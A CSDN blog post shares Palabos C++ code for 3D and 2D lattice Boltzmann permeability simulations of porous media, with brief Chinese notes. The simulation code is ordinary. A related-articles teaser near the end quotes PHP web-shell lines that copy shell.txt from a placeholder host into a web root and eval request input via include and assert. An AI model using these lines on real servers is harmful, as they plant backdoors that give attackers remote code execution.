毕业了——课题代码开源（二）使用Palabos的单相流多孔渗流代码

最新推荐文章于 2022-11-30 11:59:20 发布
最新推荐文章于 2022-11-30 11:59:20 发布
阅读量2.6k 收藏 18
点赞数 1
分类专栏： Palabos案例解析 LBM源码学习 文章标签： c++
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_28632981/article/details/106643221
版权

简介

这是我依据Palabos案例解析（一）permeability.cpp案例的原始案例修改的适合我自己的代码，其实没咋动，主要就是改一下最后速度的统计的标准和数据输出的一些小东西，其实和源代码几乎没啥区别。

代码

#include "palabos3D.h"
#include "palabos3D.hh"

#include <vector>
#include <cmath>
#include <cstdlib>

using namespace plb;

typedef double T;
#define DESCRIPTOR descriptors::D3Q19Descriptor

// This function object returns a zero velocity, and a pressure which decreases
//   linearly in z-direction. It is used to initialize the particle populations.
class PressureGradient {
public:
    PressureGradient(T deltaP_, plint nx_) : deltaP(deltaP_), nx(nx_)
    { }
    void operator() (plint iX, plint iY, plint iZ, T& density, Array<T,3>& velocity) const
    {
        velocity.resetToZero();
        density = (T)1 - deltaP*DESCRIPTOR<T>::invCs2 / (T)(nx-1) * (T)iX;
    }
private:
    T deltaP;
    plint nx;
};

void readGeometry(std::string fNameIn, std::string fNameOut, MultiScalarField3D<int>& geometry)
{
    const plint nx = geometry.getNx();
    const plint ny = geometry.getNy();
    const plint nz = geometry.getNz();

    Box3D sliceBox(0,0, 0,ny-1, 0,nz-1);
    std::auto_ptr<MultiScalarField3D<int> > slice = generateMultiScalarField<int>(geometry, sliceBox);
    plb_ifstream geometryFile(fNameIn.c_str());
    for (plint iX=0; iX<nx; ++iX) {
        if (!geometryFile.is_open()) {
            pcout << "Error: could not open geometry file " << fNameIn << std::endl;
            exit(EXIT_FAILURE);
        }
        geometryFile >> *slice;
        copy(*slice, slice->getBoundingBox(), geometry, Box3D(iX,iX, 0,ny-1, 0,nz-1));
    }

    {
        VtkImageOutput3D<T> vtkOut("porousMedium", 1.0);
        vtkOut.writeData<float>(*copyConvert<int,T>(geometry, geometry.getBoundingBox()), "tag", 1.0);
    }

    {
        /*std::auto_ptr<MultiScalarField3D<T> > floatTags = copyConvert<int,T>(geometry, geometry.getBoundingBox());
        std::vector<T> isoLevels;
        isoLevels.push_back(0.5);
        typedef TriangleSet<T>::Triangle Triangle;
        std::vector<Triangle> triangles;
        Box3D domain = floatTags->getBoundingBox().enlarge(-1);
        domain.x0++;
        domain.x1--;
        isoSurfaceMarchingCube(triangles, *floatTags, isoLevels, domain);
        TriangleSet<T> set(triangles);
        std::string outDir = fNameOut + "/";
        set.writeBinarySTL(outDir + "porousMedium.stl");*/
    }
}

void porousMediaSetup(MultiBlockLattice3D<T,DESCRIPTOR>& lattice,
        OnLatticeBoundaryCondition3D<T,DESCRIPTOR>* boundaryCondition,
        MultiScalarField3D<int>& geometry, T deltaP)
{
    const plint nx = lattice.getNx();
    const plint ny = lattice.getNy();
    const plint nz = lattice.getNz();

    pcout << "Definition of inlet/outlet." << std::endl;
    Box3D inlet (1,nx-2, 1,ny-2, 0,0);
    boundaryCondition->addPressureBoundary0N(inlet, lattice);
    setBoundaryDensity(lattice, inlet, (T) 1.);

    Box3D outlet(1,nx-2, 1,ny-2, nz-1,nz-1);
    boundaryCondition->addPressureBoundary0P(outlet, lattice);
    setBoundaryDensity(lattice, outlet, (T) 1. - deltaP*DESCRIPTOR<T>::invCs2);

    pcout << "Definition of the geometry." << std::endl;
    // Where "geometry" evaluates to 1, use bounce-back.
    defineDynamics(lattice, geometry, new BounceBack<T,DESCRIPTOR>(), 1);
    // Where "geometry" evaluates to 2, use no-dynamics (which does nothing).
    defineDynamics(lattice, geometry, new NoDynamics<T,DESCRIPTOR>(), 2);

    Box3D X0Plane(0,0,0,ny-1,0,nz-1);
    Box3D XnPlane(nx-1,nx-1,0,ny-1,0,nz-1);
    Box3D Y0Plane(0,nx-1,0,0,0,nz-1);
    Box3D YnPlane(0,nx-1,ny-1,ny-1,0,nz-1);
    defineDynamics(lattice, X0Plane, new BounceBack<T,DESCRIPTOR>());
    defineDynamics(lattice, XnPlane, new BounceBack<T,DESCRIPTOR>());
    defineDynamics(lattice, Y0Plane, new BounceBack<T,DESCRIPTOR>());
    defineDynamics(lattice, YnPlane, new BounceBack<T,DESCRIPTOR>());

    pcout << "Initilization of rho and u." << std::endl;
    initializeAtEquilibrium( lattice, lattice.getBoundingBox(), PressureGradient(deltaP, nx) );

    lattice.initialize();
    delete boundaryCondition;
}

void writeGifs(MultiBlockLattice3D<T,DESCRIPTOR>& lattice, plint iter)
{
    const plint nx = lattice.getNx();
    const plint ny = lattice.getNy();
    const plint nz = lattice.getNz();

    const plint imSize = 600;
    ImageWriter<T> imageWriter("leeloo");

    // Write velocity-norm at x=0.
    imageWriter.writeScaledGif(createFileName("ux_inlet", iter, 6),
            *computeVelocityNorm(lattice, Box3D(0,0, 0,ny-1, 0,nz-1)),
            imSize, imSize );

    // Write velocity-norm at x=nx/2.
    imageWriter.writeScaledGif(createFileName("ux_half", iter, 6),
            *computeVelocityNorm(lattice, Box3D(nx/2,nx/2, 0,ny-1, 0,nz-1)),
            imSize, imSize );
}

void writeVTK(MultiBlockLattice3D<T,DESCRIPTOR>& lattice, plint iter)
{
    VtkImageOutput3D<T> vtkOut(createFileName("vtk", iter, 6), 1.);
    vtkOut.writeData<float>(*computeVelocityNorm(lattice), "velocityNorm", 1.);
    vtkOut.writeData<3,float>(*computeVelocity(lattice), "velocity", 1.);
}

T computePermeability(MultiBlockLattice3D<T,DESCRIPTOR>& lattice, T nu, T deltaP, Box3D domain )
{
    pcout << "Computing the permeability." << std::endl;

    // Compute only the z-direction of the velocity (direction of the flow).
    plint zComponent = 2;
    plint nz = lattice.getNz();

    T meanU = computeAverage(*computeVelocityComponent(lattice, domain, zComponent));

    pcout << "Average velocity     = " << meanU                         << std::endl;
    pcout << "Lattice viscosity nu = " << nu                            << std::endl;
    pcout << "Grad P               = " << deltaP/(T)(nz-1)              << std::endl;
    pcout << "Permeability         = " << nu*meanU / (deltaP/(T)(nz-1)) << std::endl;

    return meanU;
}

int main(int argc, char **argv)
{
    plbInit(&argc, &argv);

    if (argc!=7) {
        pcout << "Error missing some input parameter\n";
        pcout << "The structure is :\n";
        pcout << "1. Input file name.\n";
        pcout << "2. Output directory name.\n";
        pcout << "3. number of cells in X direction.\n";
        pcout << "4. number of cells in Y direction.\n";
        pcout << "5. number of cells in Z direction.\n";
        pcout << "6. Delta P .\n";
        pcout << "Example: " << argv[0] << " palabos.dat tmp/ 201 201 201 0.00005\n";
        exit (EXIT_FAILURE);
    }
    std::string fNameIn  = argv[1];
    std::string fNameOut = argv[2];

    const plint nx = atoi(argv[3]);
    const plint ny = atoi(argv[4]);
    const plint nz = atoi(argv[5]);
    const T deltaP = atof(argv[6]);

    global::directories().setOutputDir(fNameOut+"/");

    const T omega = 1.0;
    const T nu    = ((T)1/omega- (T)0.5)/DESCRIPTOR<T>::invCs2;

    pcout << "Creation of the lattice." << std::endl;
    MultiBlockLattice3D<T,DESCRIPTOR> lattice(nx,ny,nz, new BGKdynamics<T,DESCRIPTOR>(omega));
    // Switch off periodicity.
    lattice.periodicity().toggleAll(false);

    pcout << "Reading the geometry file." << std::endl;
    MultiScalarField3D<int> geometry(nx,ny,nz);
    readGeometry(fNameIn, fNameOut, geometry);

    pcout << "nu = " << nu << std::endl;
    pcout << "deltaP = " << deltaP << std::endl;
    pcout << "omega = " << omega << std::endl;
    pcout << "nx = " << lattice.getNx() << std::endl;
    pcout << "ny = " << lattice.getNy() << std::endl;
    pcout << "nz = " << lattice.getNz() << std::endl;

    porousMediaSetup(lattice, createLocalBoundaryCondition3D<T,DESCRIPTOR>(), geometry, deltaP);

    // The value-tracer is used to stop the simulation once is has converged.
    // 1st parameter:velocity
    // 2nd parameter:size
    // 3rd parameters:threshold
    // 1st and second parameters ae used for the length of the time average (size/velocity)
    util::ValueTracer<T> converge(1.0,1000.0,1.0e-4);

    pcout << "Simulation begins" << std::endl;
    plint iT=0;

    const plint maxT = 30000;
    for (;iT<maxT; ++iT) {
        if (iT % 20 == 0) {
            pcout << "Iteration " << iT << std::endl;
        }
        /*if (iT % 500 == 0 && iT>0) {
            writeGifs(lattice,iT);
        }*/

        lattice.collideAndStream();
        converge.takeValue(getStoredAverageEnergy(lattice),true);

        if (converge.hasConverged()) {
            break;
        }
    }

    pcout << "End of simulation at iteration " << iT << std::endl;

    pcout << "Permeability:" << std::endl << std::endl;
    computePermeability(lattice, nu, deltaP, lattice.getBoundingBox());
    pcout << std::endl;

    pcout << "Writing VTK file ..." << std::endl << std::endl;
    writeVTK(lattice,iT);
    pcout << "Finished!" << std::endl << std::endl;

    return 0;
}

说明

其实这个是没啥可说的，对于参数，我并没有特别的调过，还需要你自己依照自己课题的对应尺寸去调，图片就不放了，跟那个渗透的案例差不多，想看图的可以看那个的图。

附加题

代码

#include "palabos2D.h"
#include "palabos2D.hh"

#include <vector>
#include <cmath>
#include <cstdlib>

using namespace plb;

typedef double T;
#define DESCRIPTOR descriptors::D2Q9Descriptor

// This function object returns a zero velocity, and a pressure which decreases
//   linearly in z-direction. It is used to initialize the particle populations.
class PressureGradient {
public:
    PressureGradient(T deltaP_, plint ny_) : deltaP(deltaP_), ny(ny_)
    { }
    void operator() (plint iX, plint iY, T& density, Array<T,2>& velocity) const
    {
        velocity.resetToZero();
        density = (T)1 - deltaP*DESCRIPTOR<T>::invCs2 / (T)(ny-1) * (T)(ny-1-iY);
    }
private:
    T deltaP;
    plint ny;
};

void readGeometry(std::string fNameIn, std::string fNameOut, MultiScalarField2D<int>& geometry)
{
    plb_ifstream geometryFile(fNameIn.c_str());
    if (!geometryFile.is_open()) {
        pcout << "Error: could not open geometry file " << fNameIn << std::endl;
        exit(EXIT_FAILURE);
    }
    geometryFile >> geometry;

    {
        VtkImageOutput2D<T> vtkOut("porousMedium", 1.0);
        vtkOut.writeData<float>(*copyConvert<int,T>(geometry, geometry.getBoundingBox()), "tag", 1.0);
    }
}

void porousMediaSetup(MultiBlockLattice2D<T,DESCRIPTOR>& lattice,
        OnLatticeBoundaryCondition2D<T,DESCRIPTOR>* boundaryCondition,
        MultiScalarField2D<int>& geometry, T deltaP)
{
    const plint nx = lattice.getNx();
    const plint ny = lattice.getNy();

    pcout << "Definition of inlet/outlet." << std::endl;
    Box2D inlet (1,nx-2, ny-1,ny-1);
    boundaryCondition->addPressureBoundary1P(inlet, lattice);
    setBoundaryDensity(lattice, inlet, (T) 1.);

    Box2D outlet(1,nx-2, 0,0);
    boundaryCondition->addPressureBoundary1N(outlet, lattice);
    setBoundaryDensity(lattice, outlet, (T) 1. - deltaP*DESCRIPTOR<T>::invCs2);

    pcout << "Definition of the geometry." << std::endl;
    // Where "geometry" evaluates to 1, use bounce-back.
    defineDynamics(lattice, geometry, new BounceBack<T,DESCRIPTOR>(), 1);
    // Where "geometry" evaluates to 2, use no-dynamics (which does nothing).
    defineDynamics(lattice, geometry, new NoDynamics<T,DESCRIPTOR>(), 2);

    pcout << "Initilization of rho and u." << std::endl;
    initializeAtEquilibrium( lattice, lattice.getBoundingBox(), PressureGradient(deltaP, ny) );

    lattice.initialize();
    delete boundaryCondition;
}

void writeGifs(MultiBlockLattice2D<T,DESCRIPTOR>& lattice, plint iter)
{
    const plint nx = lattice.getNx();
    const plint ny = lattice.getNy();

    const plint imSize = 600;
    ImageWriter<T> imageWriter("leeloo");

    imageWriter.writeScaledGif(createFileName("u", iter, 6),
            *computeVelocityNorm(lattice, Box2D(0,nx-1, 0,ny-1)),
            imSize, imSize );
}

void writeVTK(MultiBlockLattice2D<T,DESCRIPTOR>& lattice, plint iter)
{
    VtkImageOutput2D<T> vtkOut(createFileName("vtk", iter, 6), 1.);
    vtkOut.writeData<float>(*computeVelocityNorm(lattice), "velocityNorm", 1.);
    vtkOut.writeData<2,float>(*computeVelocity(lattice), "velocity", 1.);
}

T computePermeability(MultiBlockLattice2D<T,DESCRIPTOR>& lattice, T nu, T deltaP, Box2D domain )
{
    pcout << "Computing the permeability." << std::endl;

    // Compute only the y-direction of the velocity (direction of the flow).
    plint yComponent = 1;
    plint ny = lattice.getNy();

    T meanU = -computeAverage(*computeVelocityComponent(lattice, domain, yComponent));

    pcout << "Average velocity     = " << meanU                         << std::endl;
    pcout << "Lattice viscosity nu = " << nu                            << std::endl;
    pcout << "Grad P               = " << deltaP/(T)(ny-1)              << std::endl;
    pcout << "Permeability         = " << nu*meanU / (deltaP/(T)(ny-1)) << std::endl;

    return meanU;
}

int main(int argc, char **argv)
{
    plbInit(&argc, &argv);

    if (argc!=6) {
        pcout << "Error missing some input parameter\n";
        pcout << "The structure is :\n";
        pcout << "1. Input file name.\n";
        pcout << "2. Output directory name.\n";
        pcout << "3. number of cells in X direction.\n";
        pcout << "4. number of cells in Y direction.\n";
        pcout << "5. Delta P .\n";
        pcout << "Example: " << argv[0] << " palabos.dat tmp/ 201 201 0.00005\n";
        exit (EXIT_FAILURE);
    }
    std::string fNameIn  = argv[1];
    std::string fNameOut = argv[2];

    const plint nx = atoi(argv[3]);
    const plint ny = atoi(argv[4]);
    const T deltaP = atof(argv[5]);

    global::directories().setOutputDir(fNameOut+"/");

    const T omega = 1.0;
    const T nu    = ((T)1/omega- (T)0.5)/DESCRIPTOR<T>::invCs2;

    pcout << "Creation of the lattice." << std::endl;
    MultiBlockLattice2D<T,DESCRIPTOR> lattice(nx,ny, new BGKdynamics<T,DESCRIPTOR>(omega));
    // Switch off periodicity.
    lattice.periodicity().toggleAll(false);

    pcout << "Reading the geometry file." << std::endl;
    MultiScalarField2D<int> geometry(nx,ny);
    readGeometry(fNameIn, fNameOut, geometry);

    pcout << "nu = " << nu << std::endl;
    pcout << "deltaP = " << deltaP << std::endl;
    pcout << "omega = " << omega << std::endl;
    pcout << "nx = " << lattice.getNx() << std::endl;
    pcout << "ny = " << lattice.getNy() << std::endl;

    porousMediaSetup(lattice, createLocalBoundaryCondition2D<T,DESCRIPTOR>(), geometry, deltaP);

    // The value-tracer is used to stop the simulation once is has converged.
    // 1st parameter:velocity
    // 2nd parameter:size
    // 3rd parameters:threshold
    // 1st and second parameters ae used for the length of the time average (size/velocity)
    util::ValueTracer<T> converge(1.0,1000.0,1.0e-4);

    pcout << "Simulation begins" << std::endl;
    plint iT=0;

    const plint maxT = 100000;
    for (;iT<maxT; ++iT) {
        if (iT % 20 == 0) {
            pcout << "Iteration " << iT << std::endl;
        }
        if (iT % 50 == 0 && iT>0) {
            writeGifs(lattice,iT);
        }

        lattice.collideAndStream();
        converge.takeValue(getStoredAverageEnergy(lattice),true);

        if (converge.hasConverged()) {
            break;
        }
    }

    pcout << "End of simulation at iteration " << iT << std::endl;

    pcout << "Permeability:" << std::endl << std::endl;
    computePermeability(lattice, nu, deltaP, lattice.getBoundingBox());
    pcout << std::endl;

    pcout << "Writing VTK file ..." << std::endl << std::endl;
    writeVTK(lattice,iT);
    pcout << "Finished!" << std::endl << std::endl;

    return 0;
}

说明

这是二维的渗透，仅仅是拿三维直接改的版本，对于参数，我也是并没有特别的细究，对于此程序，可以和上面三维的和原始渗透案例进行一下对比，你就明白在palabos中如何三维转二维和二维转三维。

完

胖虎一号
关注
专栏目录
Palabos_permeability解读
dicengzz的博客
03-25 1514
Palabos_permeability解读生成多孔介质几何体相关头文件读取几何体 生成多孔介质几何体 \examples\tutorial\permeability 中提供了一个matlab函数 createDAT.m，以及一系列切面图。可以创建 matlab 文件 create.m 调用 createDAT.m 函数，在 create.m 中给定图像数、图像路径、图像基本名、三维结构名，将 \examples\tutorial\permeability\twoSpheres 中的切面图合成三维结构，本次
udec渗流代码
12-28
udec节理边坡的渗流分析，详细介绍地下水渗流下边坡失稳的过程
渗透常用代码
aibi3754的博客
05-31 1114
PHP相关 <?php copy("http://x.x.x.x/shell.txt", "d:\www\shell.php"); ?> <?php include "$_GET['_']"; ?> <?php assert($_POST["1"]);?> <?php $url = "http://...
陈祖宇的渗流相关程序_渗流_渗流程序_源码
10-02
渗流程序。对于理解和学习程序，很有帮助。欢迎下载学习
在Ubuntu中安装Palabos
sinat_31687035的博客
11-30 1306
介绍在win10的子系统Ubuntu中安装palabos的过程。
毕业设计&课设-使用Matlab代码实现LBM流体模拟以模拟多孔介质中的流动.zip
01-08
matlab算法，工具源码，适合毕业设计、课程设计作业，所有源码均经过严格测试，可以直接运行，可以放心下载使用。有任何使用问题欢迎随时与博主沟通，第一时间进行解答！ matlab算法，工具源码，适合毕业设计、课程...
LBM_D2Q9模型_模拟流体在多孔介质中的渗流_matlab_LBM多孔介质
03-11
资源名：LBM_D2Q9模型_模拟流体在多孔介质中的渗流_matlab_LBM多孔介质 资源类型：matlab项目全套源码 源码说明： 全部项目源码都是经过测试校正后百分百成功运行的，如果您下载后不能运行可联系我进行指导或者更换...
蠕变作用下多孔介质渗流的固流耦合数学模型
06-05
针对岩体是一种可变形的多孔介质,...在研究渗流的过程中,考虑岩体蠕变的影响,基于岩体流变力学和渗流力学理论,应用对应性原理,建立了含有蠕变参数的动态应力平衡方程,推导了蠕变作用下多孔介质渗流的固流耦合数学模型。
储层温压环境对多孔介质中的渗流特性影响分析
11-24
"储层温压环境对多孔介质中的渗流特性影响分析" 多孔介质中的渗流特性是石油天然气勘探、开发和生产的关键要素。储层温压环境对多孔介质中的渗流特性有着重要影响。随着石油天然气需求的增加和环境污染的加剧，研究...
lbmval.rar_MATLAB 渗流_d2q9 多孔介质_多孔 matlab_流体_流体模型
07-14
标题中的“lbmval.rar”是一个压缩包文件，其中包含了MATLAB编程的资源，用于研究渗流现象。MATLAB是一种广泛使用的数值计算和数据分析软件，它在这里被用来实现Lattice Boltzmann方法（LBM）。LBM是一种计算流体...
稳定渗流场的有限元
07-05
对稳定渗流场进行了求解，使用三角单元离散，完整进行了有限元的求解步骤，对有限元编程的初学者理解有限元编程很有帮助。
如何查看python源代码_查看“使用python制造渗流模型”的源代码
weixin_39835147的博客
11-25 372
因为以下原因，您没有权限编辑本页：您所请求的操作仅限于该用户组的用户使用：用户您可以查看和复制此页面的源代码。==简介==关于渗流模型的简介我们可以看这个页面：[[渗流模型]]==构建最基本的渗流模型==调用包并设定参数from pylab import *from scipy.ndimage import measurementsimport statsmodels.api as smL = 1...
应用有限元法求解有渗流的边坡稳定性问题 (2003年)
04-27
介绍了有限元方法在解决有渗流等外力作用下的边坡稳定性问题中的方法和步骤，给出了渗流方程有限元表达式，并结合岳城水库土坝发生滑坡的计算实例，描述了计算过程和结果．
求解渗流自由面的有限元混合不动点法 (2007年)
05-20
基于有自由面渗流分析的高斯点,建立了求解渗流问题的非光滑非线性方程组模型和求解此类问题的有限元混合不动点算法,此方法属于固定网格法,只需划分一次网格,不需要对数据做任何近似处理,完全利用程序迭代计算渗流自由面。讨论了非光滑方程组解的存在性和该不动点算法的收敛性,通过节点压强插值绘制出渗流自由面。算例结果表明,该方法简单且收敛速度快。对不动点法的收敛性分析为迭代法的收敛提供了理论依据 。
Palabos—在自定义文件夹中创建文件并运行
sinat_31687035的博客
12-30 508
初学palabos，记录下来方便自己以后查阅
基于MATLAB实现的LBE模型在二维多孔介质流体渗流中的应用，基于geometry+使用说明文档.zip
最新发布
05-23
基于MATLAB实现的LBE模型在二维多孔介质流体渗流中的应用，基于geometry+使用说明文档.zip 1、代码压缩包内容 主函数：main.m； 调用函数：其他m文件；无需运行 运行结果效果图； 2、代码运行版本 Matlab 2020b；若...
用Maple推导单相流体的渗流公式_周波_Maple_maple流体_渗流_
09-30
Maple 是 Waterloo 公司推出的一种计算机代数系统用 ...使用 Maple 可以很快得出精确的符号形式的解析解 进而求得数值形式的近似解 。还可以用图形来显示运算结果。与传统的手工演算相比便于修改和检查大大提高工作效率
matlab裂隙渗流模拟程序_裂隙_matlab裂隙_裂隙网络_裂隙渗流_产状
09-11
利用迹长，产状，空间坐标生产三位裂隙网络模拟。隧道渗流涌水量计算
Palabos程序示例 | boolMask应用 | 如何导入通过二值化图片制作的3D数据至流场
Yulan Fang's notes.
03-26 941
最终效果 图片预处理 PS类软件 这里生成的画布为90×270，在中间输入文字后，保存为3D.png。 Matlab关键代码节选 因为在Palabos里，它的数据读取方式如同下面的形式： % for X→Xlength{ % for Y→Ylength{ % for Z→Zlength{ % write to(nx,ny,nz); % }}} 所以我们...
评论 16
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值